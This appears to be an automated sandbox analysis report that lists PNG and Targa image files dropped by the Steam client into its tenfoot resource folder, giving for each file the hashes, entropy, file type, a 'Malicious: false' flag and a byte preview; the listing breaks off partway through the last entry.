Entropy (8bit):	7.901591645855928
Encrypted:	false
SSDEEP:
MD5:	FB8736B837660CF0011FC431641A840F
SHA1:	E2F8F882364188870518F1961DA6161A4D4E6250
SHA-256:	B2FE9F9665E6E03C1ADCD87C46FE04B744675B314B5FD1B698A43A3830AFB41C
SHA-512:	FB464FC40558E4FE75CC788B66012B691C272AA2BDC0DD6EB0D23BAEBB0C57D5DDA4C334F93CCABB7F9ED906F9AA31D26E053F75E5B17921DA620E22490A9EC4
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...0...0.....W.......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\friends\friends_chatactivity.tga_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	Targa image data - RGBA 48 x 48 x 32 - 8-bit alpha
Category:	dropped
Size (bytes):	9260
Entropy (8bit):	1.482769214302545
Encrypted:	false
SSDEEP:
MD5:	6CF8CCD08A7C906CC019BFBB29F2A7A7
SHA1:	8BB4A2C92894F77AEF68D4A5C37DE7ED2F9910BD
SHA-256:	7EA03B69196258CC12F48BC9617AC5EC03AC45F037184EFF619838E18DCF5F3A
SHA-512:	794E1A7D9FA2AFBA842BC6A3098AF454C86935092446FE267F5DE9630F912BE6DEB77A9E70607855AD374A0074A0CDA29D92E38641505A392BB978613BB7E19C
Malicious:	false
Reputation:	unknown
Preview:	............0.0. .......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\friends\friends_indicator_chat.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 54 x 54, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3355
Entropy (8bit):	7.890893223391526
Encrypted:	false
SSDEEP:
MD5:	2ED4BCDC58F417C025206422A9E8DF3F
SHA1:	444FEBF2807D4813954109DCED659CB4AE0910B1
SHA-256:	2E27C72A36B7EF6111F6670C555642EB4BB4E50C5F51EF7F220ADBABA2BAAD7D
SHA-512:	5CC75C20F996959BE2941DCD1FD0AED23EDDC668D2AD052B0C2AB2025D59D5D5103D5E90967642CFC091098419655A8CEF4A279D2CAC88042278576EB3CC071E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...6...6......Ej.....pHYs..........+.....OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\friends\friends_indicator_friendrequest.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 54 x 54, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3620
Entropy (8bit):	7.8963457710678036
Encrypted:	false
SSDEEP:
MD5:	2E124F7F265481CC0437154B25C9421B
SHA1:	0E63FE2CA969375DA940AA9386F4AB0BDF462BCB
SHA-256:	FD3FC341ECAF22E85812DC8D982919FDB90DB920116387C06542D775D06FF41A
SHA-512:	F07B05148BC3B0D6ABAB430EC838986F1CEC1439392E095048110B34403F72FF89F18F7CFC88D089C48FADF803AE7BD9BD1A6DC3681DFEDA280A6427ACB2F5DA
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...6...6......Ej.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\friends\friends_indicator_gameinvite.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 54 x 54, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4278
Entropy (8bit):	7.910599728887935
Encrypted:	false
SSDEEP:
MD5:	93B5C7BA97BF4F2482A7C5C8257DF992
SHA1:	4D8B09FCE27C2C773B9E7CBD7BA86C7E69E7B2A0
SHA-256:	5AE505046D5BD67CB9D75F8E54B402AED207FB6135CF8A24E25937F1B4F8BD77
SHA-512:	C1FEAE231F23E6F9A19747E784AA9264761C879923E627354E1B8F969C6782EA5FAE6D74BFD5F47A55F16A9B105F99261AD16CD6FFF478B1D3888742EAE12C3C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...6...6......Ej.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\friends\friends_indicator_voicechat.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 54 x 54, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3433
Entropy (8bit):	7.898489002647814
Encrypted:	false
SSDEEP:
MD5:	666ED9D46E3B33FFCC9592FA2C5197DC
SHA1:	3380D583B1ED2CE5B91E4CDBCD1C36547BD5A419
SHA-256:	BD966012DCD5B058E93E0EA467E9691255CD56FC761AEBBF07D0304AE4B8DA30
SHA-512:	0D26D5F7FE9EEFAC53157D4C80E994B953890EAA599964692F37BE67D7F42D6310390EA3784A780F61A99684662021CCB71276808C66C0035E07E67908714A70
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...6...6......Ej.....pHYs..........+.....OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\friends\friends_indicator_voicehold.tga_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	Targa image data - RGBA 54 x 54 x 32 - 8-bit alpha
Category:	dropped
Size (bytes):	11708
Entropy (8bit):	2.455081979013141
Encrypted:	false
SSDEEP:
MD5:	0336F92FD6EE6C6398B6D51863A78675
SHA1:	196AD5E1512318D8ABD09F97821AA586898F87CB
SHA-256:	9F3B367ECE8FDF1716C0F5CD857D0F8DE4492C36E8633E685E407383065E1694
SHA-512:	3023D4B8633C6FDD60A585E00119D2A6761829E13593E3F52E1589B2971F6CE720F01DCF9D73FCBB093563BEA1B6047B4687A84D4D9B03F4A77A23D6299B6174
Malicious:	false
Reputation:	unknown
Preview:	............6.6. ....................p......................................................................................................................................................................................................@.....................0..........................................................................................................................................................................................................................W..............................................................................................................P..........................................................................................................W............................................... ................................................p.......................................................................................................................0.......................................................P......................

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\friends\friends_list_item_panel_labels_mask.tga_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	Targa image data - RGBA 380 x 150 x 32 - 8-bit alpha
Category:	dropped
Size (bytes):	228044
Entropy (8bit):	0.36070245958957226
Encrypted:	false
SSDEEP:
MD5:	702FCDF7C28E0D5E9CBD3B7AEE3287CB
SHA1:	9B874EFBD42A20F37CD6D87855BAD13E93D29E78
SHA-256:	D13BE24E03CF74537A0828C8A057D92EAD484BEE1E848DE7A8C8691EBA976F23
SHA-512:	EE1785B54DFD908A7B84A2382755FC2C12F0CF2763BD4CA610E7050C4EA3A1CD21560295EF3466A4F6CDBBB3E84060D31F251AAF5DBA70103C9235A652F926A3
Malicious:	false
Reputation:	unknown
Preview:	............\|... .......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\friends\friends_list_mask_fade_both.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1 x 80, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2823
Entropy (8bit):	7.87041569103987
Encrypted:	false
SSDEEP:
MD5:	7DE6D7BA4AD53FB658A6E468889A006D
SHA1:	652E5240DB34132746F1A25240E31AE0C74C93A4
SHA-256:	7449E724C6194104BD73B6EE660B65B06A68680A954146D57260B5B96646F68B
SHA-512:	1C86C45040092B888988EA11BF9524E05168C39BAE4D13829716848F9171D3525D4403D72E8224C53D04F2B8DBE97098CA284761947B85AAB3176457A7B5248F
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......P.............pHYs..........o.d...OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\friends\friends_list_mask_fade_bottom.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1 x 80, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2808
Entropy (8bit):	7.869681560112064
Encrypted:	false
SSDEEP:
MD5:	33BF692DAC056DC9F91AE26209418CD3
SHA1:	107E83FD6CC4036BCCDA87D2F22F217127F66235
SHA-256:	4305B445AD27B5071DA1810B958A6795C47E92FBEC36AC43038D813FE5E583B3
SHA-512:	F63DF66FC5A89D28430370F951949607C85B8891AA28961611872B234626025F23917BCC11DB44A18E124D5AD40E6DF40D200990E56894AE3299057861082C7C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......P.............pHYs..........o.d...OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\friends\friends_list_mask_fade_top.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1 x 80, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2816
Entropy (8bit):	7.867858411159553
Encrypted:	false
SSDEEP:
MD5:	ECFD68495EF9B99C08567FD9DBB2B2D3
SHA1:	768E0196E2265CD33BAAD0D61D70EFE2971E4A7C
SHA-256:	12E8DEA9F9CE3F4BA3806A5AA5AF3553797815076BBE6C6C368B509D56B39B73
SHA-512:	9E6685AFD0BFCCAAB41321A2E0DB1A3AF75E5DCD66E3B1741C9DDB8EAFA4E34B02141D9A2AA181D0829242194FBDDC2F0340798EEB623DBF003DB4F9202B7E68
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......P.............pHYs..........o.d...OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\friends\friends_search.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3635
Entropy (8bit):	7.904478056705739
Encrypted:	false
SSDEEP:
MD5:	1F1A2928AD9CC9BCD893A2712769C87C
SHA1:	47F88C90908BA5CD62ECC5D1E1AB94CA565D1EAF
SHA-256:	C33B7315C414F76E69D5420E97D2F4DC926211DA8BCD8A0612688442D498CE02
SHA-512:	0F4FA84E3BE878B192112948D8FD8B086B609466B1E6092B2E76308A718BC0D20EA62BEA4524B290F4D4C2CF85586F80720DB280906CBBF5A708D9DFB328F2B1
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...(...(........m....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\friends\friends_start_voice_chat_start.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 60 x 43, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.243839663123214
Encrypted:	false
SSDEEP:
MD5:	77C250F022FE7D7D45968E4041996F04
SHA1:	E49CD17BDDDD7361B17CCD2D98A92B1018B70DB1
SHA-256:	8DD72C41708189D72282DFD93B5ACE9BA514B668D485B81CF7AE00F12CBC62B6
SHA-512:	F5A2702B5405EA297FA33AF2B318CFC99DDBB22FA02FDA4B9133F4767708E088B688E352BCAAB9ED7B6FB39A080CB5B3894DBF9D9A87E28087F72A45A52CED62
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...<...+.....$/.Q....tEXtSoftware.Adobe ImageReadyq.e<... iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:8C4EF00D93C111E1A661CC4514CFAF9B" xmpMM:DocumentID="xmp.did:8C4EF00E93C111E1A661CC4514CFAF9B"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8C4EF00B93C111E1A661CC4514CFAF9B" stRef:documentID="xmp.did:8C4EF00C93C111E1A661CC4514CFAF9B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.~.J...@IDATx...o.A.....#..L.T%iK...@.=.....Dc..^.....Z....{.I......Q.).@.i.C...j.L.&....$K....,...%.f.0....@....C..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\friends\friends_voicechat_audiolevels.tga_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	Targa image data - RGBA 55 x 55 x 32 - 8-bit alpha
Category:	dropped
Size (bytes):	12144
Entropy (8bit):	2.5416007043716458
Encrypted:	false
SSDEEP:
MD5:	71A2E1BE5C4524F361E370B3CE8E1392
SHA1:	E3E877C59A72E0EB27D434118A71C3B007CA9FF1
SHA-256:	7E197E396F77D53D8A15729A43BCC33F29D55D0E3ED0098B020921C30874DC79
SHA-512:	FE640D1FB354CC74FD8C6D6C3E86F9DA709E702B81E31977C581E0ACA7551333CD117C4D135F25196F87726CBCA4C5BDDE7901995282DD00D2A3C2B385CA4FBE
Malicious:	false
Reputation:	unknown
Preview:	............7.7. ....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................x...........................................................................................................................................................................................................}...................i..............................................................................................................................................................................

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\friends\friends_voicechat_voicelevels.tga_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	Targa image data - RGBA 55 x 55 x 32 - 8-bit alpha
Category:	dropped
Size (bytes):	12144
Entropy (8bit):	2.414353895261069
Encrypted:	false
SSDEEP:
MD5:	C46259AC05C21CAA896C4AEDBFDF43C5
SHA1:	6DA855E66207CBB2A4F8E943D96ED186C3382B48
SHA-256:	E9F0FF9123F5EE7C6048CBF5381C492599EC932D86B5DEFFDA86BD7D5A38ED68
SHA-512:	062C7AE5D9DC0A9A35D0F9DAB83F2D9CA1BA0BE145378E44428CE0B67DB6E5CE21598A608F54C820F3F79BEFA7F02493625B37AE2CF637964FEB57DBDE45489F
Malicious:	false
Reputation:	unknown
Preview:	............7.7. ....................................................................\..............................................................................................................................................................................................................................\...............................................................................................................................................................................................................................................................................................\...............................................................................................................................................................=..................................................l...................................................................................................................................................................................M...{..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\friends\friends_voicechatactivity.tga_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	Targa image data - RGBA 48 x 48 x 32 - 8-bit alpha
Category:	dropped
Size (bytes):	9260
Entropy (8bit):	1.2359167197609033
Encrypted:	false
SSDEEP:
MD5:	92AF61316247F823CA1003DE541F6071
SHA1:	988675F13E810C9BF306603F16D7880EF51A7394
SHA-256:	3CFEC3824E4415DB5BD4F64C6934F78B42EF43D914E9A66A621B83EBE79B830F
SHA-512:	FB81E7A49123027DB51A6D28C4036FEBD690807C5446780C369B3EC690A95A12F662E53BC3FB93B62DCAA99A87E3A60C7FF929B94C26D122728BC7C62A2E4159
Malicious:	false
Reputation:	unknown
Preview:	............0.0. ............................................................................................................................................................................................................................................................H...`...`...`...`...`...`...`...`...`...`...`...`...`...`...`...`...`...............................................................................................................................`...........................................................x... ...................................................................................................................................8...x...............................................X...................................................................................................................................................8...h...........................p...P......................................................................................................

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\friends\friends_voiceholdactivity.tga_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	Targa image data - RGBA 48 x 48 x 32 - 8-bit alpha
Category:	dropped
Size (bytes):	9260
Entropy (8bit):	1.5012354751792536
Encrypted:	false
SSDEEP:
MD5:	38BA9BAA45E0E6223B9A9964B10E7D89
SHA1:	381EA11D9CE99F74D18C43906C56BCDCD8FDF2B6
SHA-256:	5DD2125242BB3ADF41CCB9A4FD97883F11EF7BD9F52BCC50E654A2D8CF45FB57
SHA-512:	6B677F5EBF1FC1497882ACBBC3114B81A55DACEC9B8352CCD057423C345D8365567EE791454207AD320B0CC2C1E3F9A5ABE8E13D5FE3E78F2E912977D89EDA1C
Malicious:	false
Reputation:	unknown
Preview:	............0.0. ............k...R...............................................e...................................................................m...................................................................Y...x...n...X...........................................6...................................................................B...............................................................O...................q...'.......................................$...k...................................................o...-...................................................................l.......................y...(...........................................9...p...................................r...?...........................................................................Y...........................w..................................................."...<...V...V...W...U...F...".......................................................................................y..............

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\gamepad_digital_blank.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 28 x 28, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3042
Entropy (8bit):	7.890595627099058
Encrypted:	false
SSDEEP:
MD5:	43053537F539FE716C4ADE5F66062A53
SHA1:	088F2A6DE3848ACCD876BCF1F9FAB7608DB0CCBA
SHA-256:	7A1B09C6A313A7B083EC7C2A5D41F027BB5676DE761A1A9B7A6EF93C536D45BF
SHA-512:	34B27DBB3C2C49AD7B35AC974AFE4B32DA0EE7388BB49443AD7AE4D8FF510A653C251FABFFD0A077F156F763F2CDD7FF1961CA6CB56B1E8ACF1163D7A52AD374
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............r......gAMA....\|.Q.... cHRM...........R...@..}y.....<.....s<.w...9iCCPPhotoshop ICC profile..H..wTT....wz..0.R.....{.^Ea..`(..34.!...ED."HP..P$VD...T..$.(1.ET,oF.........o......Z..../...K......<....Qt.....`.).LVF._.{......!r._...zX..p..3.N....Y.\|......9.,...8%K.......,f.%f.(A..9a..>.,....<...9..S.b...L!G....3..,....F.0.+.7..T.3...Il.pX."6.1...."....H._q.W,.d..rIK..s...t......A..d.p....&+..g.].R.......Y2...EE.4...4432..P.u.oJ..Ez...g.........`.j..-....-....b.8....o....M</..A...qVV....2.....O.....g$>...]9.La.....+-%M.g.3Y.......u..A.x....E.....K.......i<:...............Pc...u@~..(.. ...]..o..0 ~y...s..7.g...%...9.%(....3........H....@...C`...-p.n.......V..H.....@....A1....jP..A3h..A'8..K....n..`.L.g`......a!2D..!.H... .d..A.P....B....By.f.....z....:....@..]h...~....L.............C.Up.......p%....;...5.6<.?.........."....G..x...G.....iE..>.&2.. oQ...EG..lQ..P......U..F.Fu.zQ7Qc.Y.G4....G......t...].nB../.o.'.1.......xb"1I.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\gamepad_digital_down.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 28 x 28, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1300
Entropy (8bit):	6.753091148196186
Encrypted:	false
SSDEEP:
MD5:	BA132226D22AA29CD6D8726EA4E97DB9
SHA1:	7C569A00775955ADF7BBA8E7D016E1F068AD07E8
SHA-256:	7BA0C7A275EED7FFE3C2CF20BD7A905985DF79C8F24322BA10FF3DFED675D5F9
